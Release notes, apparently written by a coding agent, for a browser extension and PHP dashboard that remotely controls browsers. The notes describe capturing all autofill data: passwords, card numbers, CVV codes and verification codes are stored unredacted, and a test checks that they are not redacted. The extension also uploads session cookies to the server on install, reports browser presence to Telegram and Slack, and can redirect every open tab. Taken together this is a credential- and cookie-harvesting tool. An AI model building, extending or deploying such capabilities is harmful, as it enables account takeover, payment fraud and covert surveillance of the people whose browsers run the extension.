4. **Masked-by-default Autofill viewer with a per-record reveal toggle
   (feature)** — `dashboard.js`, `dashboard.css`, `index.php`: record rows show
   "N standard · M sensitive"; sensitive values render as `••••••••` with a
   small `category` tag until the new `Reveal sensitive` / `Hide sensitive` eye
   button (`toggle-autofill-reveal`) is pressed. Copy/export stay absent from the
   Autofill record view so a reveal is a deliberate act.
   - Cache-busters bumped: `dashboard.css?v=control-center-20`,
     `dashboard.js?v=control-center-24`.

5. **Tests** — rewrote the Autofill test to assert capture-all, sensitivity
   tagging, the reveal toggle, the eye-off icon, and that neither `api.php` nor
   the content script emits a `***`/`redacted` marker; the Telegram summary
   assertion now checks counts with no field values.

6. **Verified end-to-end against a live PHP server** — a seeded capture stored
   the email as a safe field while `SuperSecret!42` (password),
   `4111 1111 1111 1111` (card_number), `737` (security_code), and `918273`
   (verification_code) were all stored in full with `sensitive: true` and the
   correct category (counts: 1 standard / 4 sensitive). Guard paths confirmed: a
   completed capture with no fields → `422 empty_record`; a wrong installation
   secret → `401`.

## Fixes in build 71 (previous release)

1. **Picked hide rules never reached the dashboard (high)** — user reported
   "after it hides it doesn't show in hidden rules."

   - Root cause: `browser-control-dashboard/api.php` line 161 has a default-deny
     auth gate. Any action not in the public allowlist is forced through
     `current_owner()` (session auth) before its handler runs. The browser's
     hide-rule upload action, `hide_rule_create_from_browser`, was missing from
     the allowlist, so the extension's upload was rejected with
     `401 {"error":{"code":"unauthorized",...}}` before it ever reached its
     handler (which authenticates with the installation secret, not a session).
     The rule stayed pending locally and never showed under Hidden rules.
   - It was the only browser-facing installation-secret action missing: every
     other such action (`domain_bundle_upload`, `domain_bundle_fetch`,
     `autofill_capture`, `notification_ack`, `command_ack`) was already
     allowlisted.
   - Fix: added `'hide_rule_create_from_browser'` to the allowlist in `api.php`.
   - Request authentication is unchanged: uploads still require a valid
     installation secret and a registered, non-revoked installation, and return
     401 without one.
   - Verified end-to-end against a live PHP server: without/wrong secret → 401;
     valid secret → 201 with a server id and `source = browser`; the rule then
     appears in the dashboard Hidden rules list, enabled and scoped to the
     reporting browser; re-uploading is idempotent (no duplicate); heartbeat
     hands the rule back to the browser.
   - Added regression test "every installation-secret API action passes the
     public action gate", which fails if any installation-secret action is
     missing from the allowlist (confirmed it fails when the fix is reverted).

2. **`URL_REWRITER_REQUIRE_HTTPS=0` had no effect (medium, config)**

   - `browser-control-dashboard/config.php` used
     `(getenv('URL_REWRITER_REQUIRE_HTTPS') ?: '1') !== '0'`. Because PHP treats
     the string `"0"` as falsy, the `?:` fell back to `'1'` and HTTPS stayed
     required — so the documented env override could not disable HTTPS.
   - Fix: read the env value into a variable and treat `0`/`false`/`off`/`no`
     (case-insensitive) as disabling HTTPS, while an unset/empty value keeps the
     secure default. Confirms the `require_https` config path end-to-end.

## Prior build fixes (carried forward)

1. **Duplicate tab-activation activity records (medium)**
   - `url-rewriter-extension/background.js` and
     `browser-control-dashboard/extension-template/background.js`:
     removed the second `chrome.tabs.onActivated` listener (the one that
     queued activity without a title). Every tab switch now creates exactly
     one activity record with the page title.

2. **cookies-sync-template forced `secure` on any `__`-prefixed cookie**
   - `browser-control-dashboard/cookies-sync-template/background.js`:
     `urlFor`/`setDetails` now only force `secure` for the reserved prefixes
     `__Secure-` and `__Host-` (new `isReservedPrefixCookie` helper), matching
     the main extension. Ordinary cookies such as `__utmz`/`__gads` keep their
     original secure flag.

3. **cookies-sync-template dead `cookies.onChanged` listener**
   - `browser-control-dashboard/cookies-sync-template/background.js`:
     the listener now triggers a debounced (2 s) `reconcile()` for cookie
     changes outside the extension's own writes, so sync no longer waits for
     the 30 s alarm. Removed the unused `safeCookie` helper.

4. **`resolved_all_websites` precedence asymmetry**
   - `browser-control-dashboard/lib.php`: installation targets still always
     win over device targets (unchanged behavior), and duplicate device
     targets now resolve first-wins instead of last-wins, consistent with
     installation targets. Verified dynamically with a PHP harness.

5. **Rename toast always said "Item renamed"**
   - `browser-control-dashboard/dashboard.js` `saveRename`: the item kind is
     captured before the modal is cleared, so the toast now says
     "Device renamed." / "Installation renamed." correctly.

6. **"Upload now" button did not upload cookies**
   - `url-rewriter-extension/background.js` (+ template copy): new
     `COLLECT_COOKIES` message handler runs a real cookie collection and
     upload (`uploadCookieCollection(await collectCookies(), 'manual')`).
   - `url-rewriter-extension/popup.js`: the button sends `COLLECT_COOKIES`
     instead of a plain `SYNC`.
   - `url-rewriter-extension/popup.html`: the "Cookie capture" description now
     states cookies are uploaded on install, on dashboard request, or with
     "Upload now" (the heartbeat never uploaded cookies).

7. **Immediate `revokeObjectURL` after download click**
   - `browser-control-dashboard/dashboard.js` `exportDomainBundle` and
     `downloadCookies`: revoke is now deferred with `setTimeout(..., 1000)`,
     matching the other four download helpers in the same file.

8. **Extension README contradicted turn-off behavior**
   - `url-rewriter-extension/README.md`: the All Websites turn-off paragraph
     now documents the actual behavior — every open HTTP/HTTPS tab (except
     tabs already on the turn-off URL) is navigated to the turn-off URL,
     browser-wide by design.

## New feature: Hide Elements (extension 3.14.0)

Dashboard-triggered element hiding, ported from the standalone `exact-hide`
extension.

- `url-rewriter-extension/hide-content.js` and
  `browser-control-dashboard/extension-template/hide-content.js`: the exact-hide
  content script taken verbatim
  (sha256 `8a342eba0a5c5bf1b33319385f210fd4e41d50fff032bd233c9635c0f3834642`).
  It owns the picker overlay and applies stored rules, re-reading them whenever
  storage changes or the background script sends `REFRESH_RULES`.
- `manifest.json` (both extension copies): version `3.14.0` and a new
  `content_scripts` entry that runs `hide-content.js` on `<all_urls>` at
  `document_start`.
- `background.js` (both copies): new `start_hide_picker` and `refresh_hide_rules`
  commands, `CONTENT_READY` / `ELEMENT_HIDER_PICKED` message handling, injection
  fallback via `chrome.scripting.executeScript`, and merge of locally pending
  rules (`elementHiderPendingRules`) into every sync so a rule picked while the
  server was unreachable is retried until it uploads. `start_hide_picker` arms
  the picker overlay on the browser's **current tab only** (the focused active
  tab), rather than broadcasting to every open tab, so the picked host is
  unambiguously the page the dashboard already reports as `current_url`.
- `lib.php`: `hide_rules.json` store, `resolved_hide_rules()`,
  `dashboard_hide_rules()`, `sanitize_hide_rule_payload()`,
  `queue_hide_rule_refresh_commands()`, `hide_rules` in the installation
  response, and a `hide_element` dashboard section.
- `api.php`: `hide_rule_create` / `hide_rule_update`, `hide_rule_delete`,
  `hide_picker_request`, and the installation-authenticated
  `hide_rule_create_from_browser`.
- `dashboard.js` / `index.php`: the **Hide Elements** view with picker and manual
  rule forms, toggle/delete actions, and a bumped cache-buster
  (`dashboard.js?v=control-center-23`).

## New feature: Browser presence alert toggle (default dashboard build)

A Settings control to silence automatic browser online/offline notifications
when they are not useful, without losing the audit trail.

- `lib.php`: `default_webhook_destinations()` now seeds `presence_online_alerts`
  and `presence_offline_alerts` (both default `true`), the public shape
  (`webhook_destinations_public()`) exposes both booleans, and a new
  `presence_alert_enabled(bool $online)` helper resolves the matching flag.
  `send_presence_alert()` still writes the `browser_online` / `browser_offline`
  activity entry first, then returns early before the Slack/Telegram sends when
  the matching type is muted — so muting never blanks the activity log.
- `api.php`: new owner-authenticated `presence_alerts_update` action. It
  preserves the stored Slack/Telegram secrets (blank-field-safe, like
  `webhook_destinations_update`) and accepts `presence_online_alerts` /
  `presence_offline_alerts` booleans via `FILTER_VALIDATE_BOOLEAN`.
- `dashboard.js` / `index.php`: a new **Browser presence alerts** Settings card
  with a `presence-alerts-form` (two checkboxes + live on/muted summary),
  `savePresenceAlerts`, form binding, and cache-buster
  `dashboard.js?v=control-center-23`.
- `tests/control-center.test.js`: added a static-assertion test covering the
  defaults, helper, gating, API action, and Settings wiring, plus a second test
  for the unsaved-edit guard described below.

The toggle is intentionally global (fleet-wide), not per-device; per-device
mute remains a possible follow-up.

### Deep-test regression fix: polling no longer discards unsaved Settings edits

Deep functional testing surfaced a Settings irregularity: the dashboard re-renders
from server data on a 5-second poll, and the render guard only skipped the redraw
when focus was inside an `INPUT`/`TEXTAREA`/`SELECT`. A checkbox that kept focus was
safe, but clicking anywhere else before saving let the next poll silently restore
the checkbox to its stored value (and the same redraw could wipe a half-typed
Slack/Telegram field in the Alert destinations card). The mute toggle could look
applied but then save the old value.

- `dashboard.js`: added `state.settingsFormDirty`, set on `input`/`change` inside
  `webhook-destinations-form` and `presence-alerts-form`, reset when a save runs,
  on view changes, and on logout. `loadData()` now skips the polling redraw while
  that flag is set, so in-progress edits on the Settings page survive the poll.
- Cache-buster bumped to `dashboard.js?v=control-center-23`.
- Verified with real mouse input in headless Chromium: toggling a checkbox off and
  waiting through a poll tick keeps the edit, and Save persists
  `presence_offline_alerts: false` to `storage/webhook_destinations.json`.

## Unchanged (verified non-bugs)

- Autofill draft deduplication, empty `device_name` → "New device" grouping,
  cookie-sync snapshot relay pruning, visit-alert cooldown, and
  at-least-once notification delivery were reviewed and left as designed.
